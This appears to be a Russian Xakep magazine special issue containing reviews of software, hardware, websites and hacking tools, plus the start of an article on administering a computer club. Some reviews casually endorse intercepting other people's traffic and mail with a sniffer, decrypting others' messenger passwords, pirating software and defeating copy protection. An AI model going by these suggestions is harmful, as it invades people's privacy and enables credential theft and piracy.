Спецвыпуск Xakep, Содержание номера # 033

Cover 033 |
Статья | Стр.
SPEZial delivery |
Soft | 004
Hard | 006
Web | 008
Hack Tools | 010
RTFM |
ЧТО НАША ЖИЗНЬ? GAMEZ! |
Рулим компьютерным клубом | 012
HOWTO |
ИГРАЕМ НЕ ПО-ДЕТСКИ |
Практика установки игровых серверов под Линь | 018
Win2kServ - Дорога в AD |
Ставим и настраиваем Win2k Server в локальной сети | 022
СЕТЕВЫЕ ПРЯТКИ |
Настраиваем NAT под Windows | 026
ГОРЯЧИЙ ПРОКСИ-СЕРВЕР |
Установка сервисов на старый компьютер | 030
АДМИНИМ ПРАВИЛЬНО! |
Руководство офисного пингвинистратора | 034
СТАРАЯ СКРИПУЧАЯ ФОРТОЧКА |
Ставим NT'вый гейт на старый металл | 038
В БОЙ ИДУТ ОДНИ СТАРИКИ |
Превращаем четверку в сервак на Линухе | 042
ВОЗВРАЩЕНИЕ БЛОКНОТА |
Готовим западло на скриптах | 046
ОФИСНЫЙ СПАМ |
Бомбежка из броузера | 050
САМЫЙ СЕРЬЕЗНЫЙ ГЕЙТ |
Настраиваем ipfw + NAT во FreeBSD | 054
КТО СКАЧАЛ МЯУ? |
система подсчета трафика на FreeBSD | 058
ПЕРЕКУСИМ ПЕРЛОВКОЙ? |
Пишем скрипты для системы |
трафика во FreeBSD | 062
SOFT |
Приход OutPost 2 Pro |
Ставим персональный фаервол на сеть… и выигрываем! | 064
Новое - это хорошо забытое старое |
Трогаем своими ручищами Windows 2003 Server | 068
УЧЕТ МЕНЯ С УМА СВЕДЕТ! |
Установка и настройка 1С | 072
ДУЭЛЬ НА ДЫРОКОЛАХ |
Тесты офисных пакетов | 076
ОСЬ-МУТАНТ |
Уничтожаем миф Lindows | 080
PHOTOSHOP vs GIMP |
Схватка лучших редакторов! | 084
WEB-ВЕРСТКА В LINUX |
Главный инструмент WEB-дизайнера под Линь | 088
FAQ |
FAQ THE WORK! | 090
HARD |
САМЫЕ ИНТЕРЕСНЫЕ СЕМНАШКИ |
тест 17' CRT-мониторов | 092
КУЗНИЦА МОНСТРЯКОВ |
Radeon 9800 PRO | 096
ПаЯльный Прощальник |
Доктора ДобрЯнского | 098
STORY |
МОРЕ ЛЮБВИ | 100
RELAX |
DJ Talk |
Eric Bonerz и The Millionaire | 108
E-MAIL | 110
KOMIKZ | 112


Спецвыпуск Xakep, номер #033, стр. 033-004-1,

PowerDVD 5.0 (www.gocyberlink.com), 9.6 mb

Недавно прикупил себе DVD, теперь занимаюсь поисками хорошего плеера. А тут как раз обновился PowerDVD. Интерфейс стал еще приятнее: изменилась шкурка по умолчанию и добавилась возможность менять скины. Отличное качество изображения: плеер сам подстраивает параметры видео, оптимизирует гамму для LCD моников. Умная система преобразования форматов помогает 16:9 фильмам хорошо смотреться на обычном экране, а 4:3 фильмам - на широкоформатном экране. В наличии разделение каналов для мультиканальных систем, и, наоборот, реализованы виртуальные каналы для двухканальных систем. Ну и до кучи: поддержка различных типов файлов, в том числе и DivX, возможность делать скриншоты с фильма (весьма приятного качества). Минусы: тяжеловат он все-таки для плеера, да и далеко не бесплатен. А с учетом того, что стандартный Windows Media умеет неплохо проигрывать DVD (да и в целом девятая версия - ничего), желание искать PowerDVD по варезным сайтам может и пропасть :). У меня не пропало. Сделали бы в нем настроек побольше - было бы просто супер. Найду чего получше - сообщу :).

Flashkeeper 3.0 (www.flashkeeper.com), 1.42 mb

Согласись, дефолтный флэш-плеер от Macromedia - это просто убожество. Обычный плагин для браузера, гордо именующий себя плеером. А я хочу полноценный, с прокруткой, регулировкой громкости, плей-листом и другими стандартными фишками. Все это и многое другое есть во Flashkeeper. Прога состоит из двух частей: непосредственно плеера и оболочки (похоже на оболочки ACDSee и других подобных программ - слева папки, справа файлы, внизу сама флэшка). Прога может конвертировать exe-флэшки в swf и наоборот, снимать и ставить защиту на файлы, делать скриншоты, составлять свои скринсейверы. Кроме того, в проге есть менеджер скачки флэшек, который вызывается из оболочки или в ослике по команде контекстного меню "Get Flash by Flashkeeper". Итак, если ты любишь флэш, то это прога из разряда must have. Ну а еще must have кряк :).

Ybook 1.3 (www.spacejock.com), 3.8 mb

Найти удобную читалку в наше время - большая проблема. Читать из ворда или ослика - развлечение для извращенцев. Распечатывать - бумаги не напасешься, да и не очень-то удобно носить с собой кипу листов. Что нужно от хорошей читалки? Чтобы хранила список книг и закладки позволяла делать, дабы скролить каждую минуту не приходилось; чтобы шрифт был крупный, сглаженный и читабельный; чтобы текст удобно форматировала. К сожалению, я идеальной читалки не знаю. Но вот в Ybook хотя бы присутствуют последние два пункта. Текст она разбивает просто отлично (параметры можно и настроить), со шрифтом все тоже супер. Читать удобно, и глаза не сильно устают. Жаль только, что не умеет прога сохранять отформатированные книги - приходится каждый раз ждать несколько секунд при открытии файла. И закладки делать нельзя (в виде исключения программа запоминает, на каком месте ты закончил читать). Зато прикрутили возможность поиска и быстрой скачки книг с Gutenberg project (достаточно большая библиотека... на английском :)). Лучше бы все же сделали закладки. На сайте производителя есть другие проги для работы с электронными книгами, Ybook же идет к ним как бесплатное дополнение. Я надеюсь, что в новых версиях эта читалка станет полноценной прогой (можно и платной :)), а пока что буду пользоваться Bookshelf.


Спецвыпуск Xakep, номер #033, стр. 033-004-2,

Miranda 0.3 (miranda-im.org), 0.6 mb

Блин, ну за что все так любят эту прогу?! Ну да, маленькая, шустрая, никакой рекламы, абсолютно бесплатная. Поддерживает кучу протоколов: ICQ, AIM, MSN Messenger, IRC, Jabber (и еще много других, вплоть до NetSend). Даже поддержка скинов есть (хотя при такой невзрачной внешности капитально ничего поменять нельзя :)). Туча плагинов, расширяющих функциональность проги (а то без них она ни фига не умеет :)). А еще за ее использование можно получить респект от Дронича :). А я ею все равно пользоваться не буду! Меня ломает искать нужные плагины, а некоторых функций очень не хватает, и Miranda все же слишком убого выглядит. Вот если Trillian 2.0 окажется отстоем (в чем я сомневаюсь), тогда может и подумаю о переходе :).

AntiBossKey 3.81 (www.mindgems.com), 0.7 mb

Супер прога! Must have для любого офисного работника :). Функция простая: по нажатию хоткея убирать с экрана окна в никуда, скрывая панель задач, трей и рабочий стол. Ну и, естественно, сама прога тоже не светится. В отличие от других прог подобного плана скрываемые окна можно выбирать. В настройках есть два дополнительных пункта: неубираемые окна (загоняем сюда офисные проги) и окно, которое будет поверх других (а если не будет такого окна - соответствующая прога запустится). А еще после нажатия хоткея могут смениться уровень звука и разрешение экрана (а вот зачем это нужно, я так и не понял). Между прочим, среди рекламы на сайте на первом месте стоит такое заявление (перевожу): не дайте своему боссу или жене поймать вас за просмотром порнухи :). А некоторых всего-то за открытую аську хотели уволить :).

CloneCD 4.2.0.2 (www.elby.ch), 3.2 mb

CloneCD - не самая новая прога (в этом году еще не обновлялась), но узнал я о ней недавно :). Существует много программ для записи дисков. Есть сложные и многофункциональные, есть простые и специализированные. CloneCD предназначена для одной простой функции - копировать диски один в один. Простой и удобный русский интерфейс, быстрота, возможность создавать образы дисков, наличие собственного виртуального CD - уже за это программу можно полюбить. Но самое главное - CloneCD умеет обходить практически любую защиту от копирования. Конечно, это требует некоторой подготовки: как минимум нужно включить CloneCD Tray и не закрывать самому лоток CD (CloneCD сам его закроет, при этом не даст Виндам распознать диск), а потом правильно выбрать тип диска. Но еще лучше будет зайти на www.clony.smokers-board.de и скачать ClonyXXL (прога, определяющая тип защиты на диске и передающая параметры в CloneCD) и Profiler (прога со списком готовых профилей CloneCD для многих типов защиты от копирования). С этой связкой ни одна защита не устоит!


Спецвыпуск Xakep, номер #033, стр. 033-004-3,

GetDiz 2.6 (www.outertech.com)

Видел хоть раз файлы с расширениями diz и nfo? File_id.diz - такой файлик почти всегда лежит на FTP или в архивах с прогой и содержит краткое описание ее файлов. А текстовики с расширением nfo практически всегда идут вместе с кряками, кейгенами и варезом. В них, как правило, есть полезная информация по установке, какие-нибудь типсы, иногда ключи. Только вот основную часть nfo занимает ASCII-графика с логотипом группы, куча респектов, благодарностей, подписи ребят, работавших над релизом, и прочая лабуда. Читать эти файлы в блокноте не слишком удобно. GetDiz - это специальный вьюер для таких файлов. Он преобразует ASCII-графику так, что она не мешает просмотру, уменьшает шрифты и выделяет некоторые ключевые слова (serial, key, адреса www и e-mail, etc). Всем любителям вареза настоятельно рекомендую к установке.

PhaseOut 5 (www.phaseout.net), 1.78 mb

Ну что тут сказать, самый красивый браузер, который я когда-либо видел. Да что браузер! Просто одна из самых красивых прог! Простая идея: а почему бы нам не использовать в качестве скинов флэш? Весить они будут немного, делать их не так уж и сложно, зато у нас будет полностью изменяемый интерфейс, где все менюшки будут двигаться, красиво выпадать и раскрываться, кнопочки будут вдавливаться и еще будет много похожей шняги :). Причем памяти это чудо кушает не так уж и много по сравнению с другими браузерами на основе ослика: приблизительно 10 мегов, как и MyIE2, например. Были бы еще и функции на уровне - и вот оно, счастье :). А еще жаль, что скинов маловато. Надеюсь, это временно, тем более что в комплекте есть тестер для собственных скинов и редактор языка интерфейса.


Спецвыпуск Xakep, номер #033, стр. 033-006-1,

СВЕЖЕЕ LCD

Компания Adtec начала выпуск двух новых LCD мониторов. Это AD-DA17Y и AD-AA17Y. Новинки имеют размер экрана 17 дюймов и разрешение 1280x1024. Модель AD-DA17Y оснащена D-Sub и DVI-D, а модель AD-AA17Y - только D-Sub. Оба девайса обладают схожими характеристиками: яркость - 300 кд, контрастность - 350:1, размер зерна - 0,264 мм. Угол обзора по горизонтали - 160°, по вертикали - 135°, время отклика 25 мс. Размеры: 372 х 210 х 384 мм, вес 5,5 кг. Обе модели имеют встроенные 1Вт колонки. Мониторы будут выпускаться в двух вариантах: в белом корпусе и в черном корпусе. Ожидаемая стоимость моделей: 481$ - AD-DA17Y и 447$ - AD-AA17Y.

МАМА С ПЫЛУ С ЖАРУ

MSI выпустила новую материнскую плату, основанную на чипсете VIA KT600, MSI KT6 Delta. Новинка предназначена для процессоров AMD Athlon XP, поддерживает 400 МГц FSB, имеет 3 слота для установки памяти DDR400 (PC3200), DDR333 (PC2700) и DDR266 (PC2100). Плата поддерживает функцию защиты процессора от перегрева и выхода из строя (в случае перегрева или неисправностей системы охлаждения) - Thermal Diode Circuit. На плате установлен Promise RAID контроллер. В комплекте с платой идут удлиненные Serial ATA кабели, утилиты Live Update 2 и CoreCenter, предназначенные для управления и настройки платы. Также поддерживаются фирменные технологии: Speedster, предназначенная для разгона системы; функция регулировки питания памяти с шагом всего 0,05В; технология BuzzFree, позволяющая снизить шум работающего компьютера; функция PowerPro, предназначенная для управления питанием, и функция LifePro, призванная продлить срок службы процессора и материнской платы.

И СНОВА КОМБАЙН

ATI Technologies начала поставки новой мультимедийной карты ALL-IN-WONDER 9800 PRO. Новинка основана на чипе Radeon 9800 PRO, а также оснащена чипом ATI THEATER 200 и 128 Мбайт 256 Бит DDR памяти. Частота чипа - 380 МГц, памяти - 340 МГц. Плата имеет ТВ тюнер с поддержкой стерео и возможностью сохранения 125 каналов. Есть возможность захвата аналогового изображения в MPEG-2 с разрешением 720 x 480 и 30 fps. На видеоадаптере также имеется видеовыход, поддерживающий HDTV. В комплекте с картой поставляется пульт дистанционного управления (REMOTE WONDER), всевозможные утилиты для работы с видео: TV-ON-DEMAND PVR, EAZYLOOK, VIDEOSOAP, THRUVIEW, VIDEOSOAP MULTVIEW. Новинка полностью поддерживает технологии DirectX 9.0 и OpenGL и операционные системы Windows XP/2000/Me/98/98 SE. На карту дается трехлетняя гарантия. Ожидаемая стоимость девайса составляет 449$.

УНИВЕРСАЛЬНЫЕ КПК

Компания Mitac официально объявила о начале продаж двух новых карманных ПК. Это Mio 339 и Mio 558. Модель Mio 339 ориентирована на молодежь и сочетает в себе функции MP3-плеера, PDA, а также в нем установлена встроенная цифровая камера. Новинка основана на процессоре Intel PXA255 с тактовой частотой 400 МГц и работает с операционной системой Microsoft Windows Mobile 2003. Модель Mio 558 - более серьезное устройство: она имеет возможность работы в беспроводных сетях Bluetooth и 802.11b с поддержкой VoIP (voice over IP) и ориентирована на корпоративных служащих. Этот КПК оснащен процессором Intel PXA263 с тактовой частотой 400 МГц и работает с операционной системой Microsoft Windows Mobile 2003. Новинка поддерживает флэш-память стандарта Compact Flash (CF) II CF и SD I/O MMC Secure Digital. В розничную продажу оба девайса попадут в середине июля. Примерная стоимость составляет 315$ за Mio 339 и 480$ - за Mio 558.


Спецвыпуск Xakep, номер #033, стр. 033-006-2,

AMD'ШНАЯ МАТЬ ОТ GIGABYTE

Компания Gigabyte тоже представила новую модель материнской платы на связке VIA KT600 + VT8237, предназначенную для процессоров AMD AthlonXP, имеющих 400 МГц FSB, при этом пропускная способность чипсета достигает 3.2 Гбайт. Новинка имеет контроллер памяти DDR400 FastStream64 и новейший интерфейс AGP8X. Во встроенном контроллере Serial ATA реализованы как SATA, так и RAID-функции. Контроллер поддерживает несколько режимов RAID: RAID 0 (чередование данных) и RAID 1 (зеркалирование), предназначенное как для увеличения скорости дисковой системы, так и для более надежного хранения данных. На плате установлено 8 портов USB 2.0. Четыре из них находятся сзади на системном блоке, а остальные 4 порта подключаются к плате кабелем. Также поддерживается интерфейс IEEE1394.

На плате установлена шестиканальная звуковая система, поддерживающая функцию Jack-Sensing, которая предназначена для того, чтобы помогать пользователю подключать аудиоустройства. Кроме того, на плату установлена 10/100 Мбит/с Ethernet сетевая карта.

В комплект входят традиционные утилиты: Xpress Install, Xpress Recovenry, EasyTune4, @BIOS, Q-Flash. В виде бонуса с матерью поставляется довольно внушительный пакет ПО: Norton Internet Security, Norton Anti Virus, Norton Personal Firewall, Norton Privacy Control, Norton Parental Control, Norton Spam Alert, GIGABYTE Windows Utility Manager, Adobe Acrobat Reader.

Вот краткая спецификация новой платы:

форм-фактор - ATX;

чипсетная связка - VIA KT600 + VIA VT8237 (возможны варианты с южным мостом VT8235);

поддержка Socket A процессоров AMD Athlon XP/Athlon/Duron с 400/333/266/200 МГц FSB;

память: три слота, до 3 Гбайт PC3200/PC2700/PC2100;

слот AGP 8X/4X;

пять слотов PCI;

шестиканальный аудио кодек AC97 (Realtek ALC655);

восемь портов USB 2.0.

КРУТЫЕ УСКОРИТЕЛИ

Компания Creative выпустила две новые видеокарты класса hi-end. Речь идет о моделях 3D Blaster 5 FX 5900 Ultra и 3D Blaster 5 FX 5600 Ultra. Карта 3D Blaster 5 FX 5900 Ultra предназначена прежде всего для новейших игр с использованием самых современных технологий. Новинка обрабатывает до 338 миллионов треугольников в секунду при скорости заполнения сцены 3,6 миллиарда текселей в секунду. Частота чипа составляет 450 МГц, частота памяти - 850 МГц. Адаптер поддерживает DirectX 9.0 и AGP 8X, а также технологии CineFX 2.0, Intellisample HCT и многоэкранные режимы nView.

Карта 3D Blaster 5 FX 5600 Ultra основана на GeForceFX 5600 GPU. Тактовая частота ядра составляет 400 МГц, частота памяти - 800 МГц, RAMDAC 400 МГц. Эта модель обрабатывает до 100 миллионов треугольников в секунду при скорости заполнения сцены 1,6 миллиарда текселей в секунду. Также в полной мере поддерживаются DirectX 9.0, AGP 8X, CineFX 2.0, Intellisample HCT и многоэкранные режимы nView. Ориентировочная цена карты 3D Blaster Geforce FX 5600 Ultra составит 220$, а цена 3D Blaster Geforce FX 5900 Ultra достигнет 400$.


Спецвыпуск Xakep, номер #033, стр. 033-006-3,

МАЛЕНЬКИЙ И ЭКОНОМНЫЙ

Компания Seagate выпустила дисковый накопитель со скоростью вращения шпинделя 5400 оборотов в минуту, буфером 8 Мбайт и пониженным расходом энергии, предназначенный для КПК и ноутбуков. Девайс называется Momentus. В накопителе использованы фирменные наработки компании, например, двигатель SoftSonic на гидродинамических подшипниках, а также технология плавающей магнитной головки QuietStep. За счет этих новаций удалось добиться низкого энергопотребления, тихой и надежной работы. Ударопрочность также на высоком уровне: Momentus в рабочем состоянии выдерживает удары до 225 G, что является очень хорошим показателем. В настоящее время уже началась отгрузка новых накопителей.


Спецвыпуск Xakep, номер #033, стр. 033-008-1, SPEZial Delivery - WEB

SPEZial Delivery - WEB

Krava (krava@nnm.ru)

Спецвыпуск Xakep, номер #033, стр. 033-008-1

http://www.networkdoc.ru

Отличный информационный сайт в помощь системному администратору! Сайт довольно новый, но на наполнение жаловаться грех... Тут есть все, что может понадобиться в работе сисадмину.

Инструкции, описания и справочная информация по-русски и по-английски по установке и настройке Windows 2000, Windows 2003(!), Exchange 2000 и т.п.

Помимо этого, на сайте есть раздел новостей из мира Интернет, высоких технологий и сетевой безопасности, причем часто обновляемый.

Для облегчения "бумажной" работы сисадмина на сайте выложена разная официальная информация: закон об информации, документы ФАПСИ, нормативные документы, соответствующие ГОСТы и т.д.

Очень удобная фишка на сайте - по введенному номеру порта TCP/IP выводится информация о порте и о том, какие трояны его используют.

http://gamesblood.ru

Хороший ресурс, посвященный всему, что связано с компьютерными играми.

На сайте можно найти новости разработчиков игр (Бука, Руссобит-М, NMG), всяческий "прилагающийся софт" (демо-версии, трейнеры, патчи), коды к недокументированным фичам, прохождения квестов, скриншоты новых игр и так далее...

Имеются ссылки на новые и старые версии игр, flash-игры, фриварные игры.

Особое внимание уделено "обратной связи": в наличии форум, гостевая, чат.

http://pristavka.kulichki.ru

Продолжаем тему игр. Этот сайт для тех, кто не излечился от ностальгии по старым добрым приставочным играм. Здесь можно скачать эмуляторы лучших приставочных игр для компа.

Если для тебя слова Sony Playstation, Nintendo, Sega и GameBoy что-нибудь значат - этот сайт для тебя.

Игр на сайте очень много (около двух тысяч), везде, как правило, представлены полные версии игр, скачиваются бесплатно и на хорошей скорости. Что еще надо для счастья? ;-)

На этом месте уже можно расплакаться и со словами "Ах, Super Mario!" бежать на сайт. ;-) Но мы еще заметим, что на сайте есть некоторое количество солюшенов к играм и Top20 самых скачиваемых игр по каждой приставке в отдельности.

http://free-help-internet.com

Не достали еще чайники своими вопросами в стиле "а вот чего нажать, чтоб заработало"? Теперь существует реальное спасение от них!

Пошли их... на сайт free-help-internet.com! Просто, четко, "человеческим" языком авторы написали обо всем, что касается Инета: браузеры, поиск инфы, ICQ и аналоги, электронная почта, оплата через Интернет, безопасность в сети, ОСы и так далее!

Сайт довольно новый, но ундер-констракшнов не видно, наполнение отличное. Есть форум и FAQ. Супер! В закладки...

http://slo.ru

Сравнительно недавно появившийся, но подающий надежды сайт. Он постоянно обновляется и содержит прямые линки на самый свежий софт. Отличает сайт от аналогов дополнительные (кому как, некоторым - основные) разделы. Документация по основным темам: программирование, веб-дизайн, железо, связь, софт, операционки, сети, игры. Несколько форумов по темам: основной форум, софт, дизайн, железо, игры. Особо радует наличие раздела документации (много по HTML, XML и т.д.) и раздела, где ссылки на программы структурированы по виду софта. Это напоминает обзор подобных программ с прямыми линками. Есть обзор по архиваторам, антивирусным программам, браузерам, прогам по работе с видео, аудио, сетями.


Спецвыпуск Xakep, номер #033, стр. 033-008-2, SPEZial Delivery - WEB

SPEZial Delivery - WEB

Krava (krava@nnm.ru)

Спецвыпуск Xakep, номер #033, стр. 033-008-2

http://www.credcard.ru

Отличный ресурс, посвященный всем видам пластиковых карточек. Разделы - один другого краше... Особо следует отметить "народный рейтинг" карточек, который определяется по субъективным мнениям посетителей сайта. Там определяется даже так называемый "индекс доверия" определенному банку.

В разделе "Консультация" доходчиво разъяснено, как лучше выбрать карточку и банк. Отдельный раздел посвящен интернет-платежам по пластиковым карточкам. Много информации, посвященной безопасности использования карт: что делать в случае утери карты, как защититься от злоумышленников.

Интересно изложена история пластиковых карточек в России и в мире. Очень полезная фича - карта Москвы с указанием расположения банкоматов, ресторанов и магазинов, принимающих карточки. Также есть карта метро с указанием банкоматов, расположенных поблизости. В разделе ссылок также можно найти подобный поиск по России, а также поиск по виду карты (Visa, AmericanExpress и т.д.).

При помощи специального сервиса возможно сравнение двух различных карт по нескольким параметрам. Есть форум, ссылки на ресурсы подобной тематики.

http://www.nobat.ru

Думаю, уже все знают, какой у нас самый правильный мейлер? ;-). Сайт сам по себе не новый, но для пользователей TheBat лучше не бывает.

О знаменитом мейлере здесь есть вся информация: как общие сведения, которые полезны для начинающих пользователей, так и особый раздел для профи. Особо стоит отметить раздел "Решение задач с использованием TheBat". Здесь по пунктам разъясняется, как решить определенную задачу или проблему в TheBat. Например - здесь написано о том, как заставить AVP проверять приходящую в TheBat почту; об автоматизации работы с рассылками. Отдельный раздел отведен взаимодействию TheBat с другими почтовыми программами, особенностям импорта и экспорта данных.

Желающим еще чем-то улучшить и без того отличную программу полезно посетить раздел "Программирование для TheBat". Там предложены некоторые готовые решения для корректировки функций TheBat-а.

После столь серьезных тем стоит заглянуть в раздел "Чай с лимоном", где находятся юмористические истории и рассказы, посвященные TheBat, кодировкам и т.д. Сайт часто обновляется, есть своя рассылка новостей.

http://www.goldsoft.ru

Сравнительно новый, подающий надежды софтовый каталог. Основные разделы софта, конечно, вполне угадываемы: Интернет, рабочий стол, утилиты, игры, офис и т.д. Из особенностей стоит отметить базу драйверов по модемам, сетевухам, звуковушкам, принтерам, BIOS. Последние поступления в базу софта отражаются в виде новостей с прямым переходом к страничке с линкой. Ведутся Top10 наиболее скачиваемых программ за текущий день и за время существования сайта в целом.

Радует возможность поиска не только по названию программы, а и по описанию, а также в конкретных подкаталогах.

http://www.glossword.ru/catalog

На сайте Glossword.ru собрано большое количество разнообразных словарей - как толковых, так и обычных, для перевода.


Спецвыпуск Xakep, номер #033, стр. 033-008-3, SPEZial Delivery - WEB

SPEZial Delivery - WEB

Krava (krava@nnm.ru)

Спецвыпуск Xakep, номер #033, стр. 033-008-3

Словари структурированы по тематикам: компьютеры, культура и искусство, сленг, экономика, справочники по автомобилям, почтовым индексам, телефонам, а также специализированные словари. Отдельно вынесены переводчики с редких языков на английский. Представлены такие сложные и редко используемые языки, как армянский, китайский, греческий, финский, ирландский и т.д.

По всем представленным словарям возможен поиск, большое количество из них представляет собой энциклопедическую ценность. Возможен поиск слова или словосочетания во всех словарях одновременно.

Словари обновляются. Авторами сайта разработана специальная программа для создания онлайновых словарей, энциклопедий, справочников. Кстати, она бесплатна и доступна для скачивания.


Спецвыпуск Xakep, номер #033, стр. 033-010-1,

Имя: Give-Me-Too

Платформа: win

Политика: shareware

Весит: 394 Кб

Веб: http://www.spyarsenal.com/

Очередной правильный сниффер, сделанный нашими людьми. Его основное отличие от общеизвестных монстров - простота :). Он не показывает дампы, не экспортирует их в удобочитаемый формат - он просто формирует из полученных пакетов файлы, передаваемые по известным ему протоколам, и складывает в удобном виде в установленную диру. Разбирается он в HTTP, SMTP и POP3, то есть обеспечивает твой винт постоянными поступлениями чужих данных, передаваемых через броузер, и не менее чужих писем. Все перехваченные данные, сформированные в файлы, складируются в сложную структуру каталогов типа "протокол \ номер интерфейса \ айпишник \ хост \ MIME \ имя файла" для HTTP и "протокол \ номер интерфейса \ адрес отправителя \ адрес получателя \ имя файла" для почтовых протоколов. В сниффере можно детально настроить фильтр, запретив или разрешив перехват траффика на уровне тех же файлов. То есть можно читать только почтовые мессаги от Маши, к которым приаттачен JPG. Причем принимать мы будем только Машины фотки, забивая на сам текст мессаг (если захотим, конечно). Еще одной приятной особенностью является то, что Give-Me-Too умеет работать с файлами tcpdump, которые можно получить на выходе почти любого другого сниффера. Так что если GMT тебе чем-то не угодил, можешь использовать его только в качестве удобного систематизатора перехваченных данных.

Имя: AIMPR

Платформа: win

Политика: shareware

Весит: 454 Кб

Веб: http://www.elcomsoft.com/

Advanced Instant Messengers Password Recovery - так выглядит полное название этой софтины. Занимается она изъятием и декриптингом паролей, хранящихся в файлах прог для мгновенного обмена сообщениями. Просмотрев ее выпадающую менюшку, я отметил для себя два факта - на свете есть еще много неизведанных ICQ-клиентов, а родная Миранда неприкасаема :). В плане мой пароль на аську так и не стал достоянием общественности за полтора часа перебора на P4-1.6. Дальнейшее экспериментирование было нагло прервано Донором со словами - "Да хватит уже, все равно не добудет!". Не знаю, не знаю... В принципе, если оставить этого монстрика на ночь, еще неизвестно, чего он там нашифрует. Так что, несмотря на то, что в хелпах черным по белому написано "you can't use this soft for cracking someone's IM password", использовать его в роли декриптора чужих паролей до ужаса легко - достаточно добыть файл с зашифрованным паролем. А если ты не знаешь, как он называется, AIMPR без проблем тебе это подскажет, достаточно выбрать в списке нужный клиент и посмотреть, какой именно файл требуется для раскриптовки.

Имя: BlindWrite

Платформа: win

Политика: freeware

Весит: 3,46 Мб

Веб: http://www.blindwrite.com/

Что есть BW? BW есть очень полезная прога для работы с чужими компакт-дисками, появившимися у тебя как законным, так и незаконным путем. Лично у меня она оказалась третьей прогой, которая занимается CD-related деятельностью. Для записи болванок и чтения сильно поцарапанных сидюков предназначена Nero. Для создания на харде образа компактов, которые требуются для нормальной работы игрушек (GTA:VC, Splinter Sell), используется CloneCD. А для мгновенного копирования любого диска на болванку служит BW. Причем ей абсолютно наплевать, какая защита наложена на диск, есть ли на нем копирайты, нет ли на нем еще и аудиодорожек - в общем, факты, которые ставили в тупик любую другую читалку, здесь значения не имеют. Происходит обычная побайтовая копия (обрати внимание, не ISO-образ, а именно непосредственный образ CD, с lead-in и lead-out) с носителя на хард, после чего эта копия сразу же записывается на болванку. Или не записывается, а откладывается на черный день - мало ли что может случиться...

Содержание


Спецвыпуск Xakep, номер #033, стр. 033-012-1, ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

Kirion (kazarian@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-012-1

Как проводишь лето? Тратишь деньги, тусуешь по клубам, знакомишься с дефачками?. А вот некоторые, между прочим, работают :). Что-что, говоришь, целый месяц проработал админом в местном клубе, заработал бессонницу и недостачу на большую часть зарплаты? Ах, вообще выгнали за мошенничество :)? И больше ни за что не пойдешь работать в клуб? Ну, тогда можешь дальше не читать :).

РАБОТАЙТЕ, НЕГРЫ, РАБОТАЙТЕ

Честно скажу, работа админа в игровом клубе - дело не из легких. Во-первых, новичку достаточно сложно быстро освоить работу с кассой и админской прогой, так что недостача поначалу появляется практически у всех. Да и не только поначалу... Ближе к концу смены (особенно ночной) устаешь так, что ошибиться в чем-нибудь очень легко. Кстати, о сменах: в большинстве клубов админы работают часов по 10, причем, как правило, работают одни - даже в крупных клубах в зале редко есть второй админ или хотя бы кассир. А сколько головной боли могут доставить посетители. Например, толпа прогульщиков средней школы, у которых что-то глючит в контре. Или взрослые дяди, которые в третий раз в жизни работают за компьютером, но у них уже наполеоновские замашки (я был свидетелем, как однажды такой дядя попросил админа сделать ему сайт :)). Ну и как финиш, достаточно низкая зарплата при высокой нагрузке. А все мысли о левом заработке стремительно улетучиваются при более плотном знакомстве с системой управления клубом.

КАПИТАН НА МОСТИКЕ!

А называть ее стоит именно так: система управления клубом. Как правило, это полноценная информационная система с ведением статистики и учета, кассовых операций, ну и, конечно же, полным контролем над машинами и пользователями. Если чего-то не хватает - значит, ты имеешь дело с самопальным творением местного программера (а значит, есть реальный шанс все это похачить :)) или в твоем клубе меньше десяти машин :). Состоит система из нескольких частей: непосредственно сервер системы, админская консоль (обязательно с разными уровнями доступа), клиент, который устанавливается на всех машинах, и вспомогательная прога для ведения различной статистики. Хотя обе тулзы можно реализовать в одной админской консоли, но я не советую так делать. Почему, расскажу чуть-чуть позже.

Итак, вот приблизительный список функций, которые должны быть реализованы в системе управления клубом. Первое и самое важное - это тотальный контроль над машинами. Это список процессов, которые запущены у пользователя; состояние клиента (а вдруг особо умный игрок его выгрузит); точный учет времени и трафика, возможность их быстрого изменения и отключения; возможность пересадить людей с одного компа на другой с сохранением данных об оплате; очень полезно иметь систему отсылки сообщений клиенту (чувак, у тебя время через 5 минут заканчивается :)), админу (чел за пятым компом что-то странное делает, ты подойди, дай ему по башне :)). Причем все эти данные должны отображаться наглядно, чтобы админ посмотрел один раз и уже знал, где машины заняты, где не работают, где скоро освободятся, etc. И совсем хорошо, если в клиенте есть что-то вроде RAdmin, чтобы админ не отвлекался по пустякам и не бегал по залу. Правда, эту фишку начальник может применить и против самого админа, например, проверить, не смотрит ли он порнуху вместо работы :).


Спецвыпуск Xakep, номер #033, стр. 033-012-2, ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

ЧТО НАША ЖИЗНЬ? GAMEZ! Рулим компьютерным клубом

Kirion (kazarian@real.xakep.ru)

Спецвыпуск Xakep, номер #033, стр. 033-012-2

Второй тип функций - это учет и статистика. Самая грустная часть для админов, ибо из-за нее они не имеют возможности тырить баблос, по крайней мере много :). В идеале каждая финансовая операция (посадил человека на машину, добавил ему времени, включил интернет и другие) должная сопровождаться проводкой по кассе и выбиванием чека. Но это в идеале. Представляешь, какой это геморрой писать взаимодействие с кассовым аппаратом, с учетом того, что их достаточно много, и они неслабо стандартизированы. Но и без этого начальство любит сверять статистику по программе с отчетом по кассе. Хорошо, если отделаешься недостачей :). Соответственно в программе должны быть учтены все цены и тарифы. Ночные и дневные тарифы (и утренние тарифы, в клубах они появляются все чаще - слишком много народу забивает школу :)), цены в будние дни и в выходные дни, тарифы для VIP-зоны и всевозможные комбинации :).

У нас есть халявщики? Значит, и их нужно учесть, причем желательно отдельно, чтобы знать, сколько насидела команда клуба (и не стоит ли выгнать их на фиг, а то еще ни один турнир не выиграли, одни убытки от них :)), сколько админы и родственники начальства :).

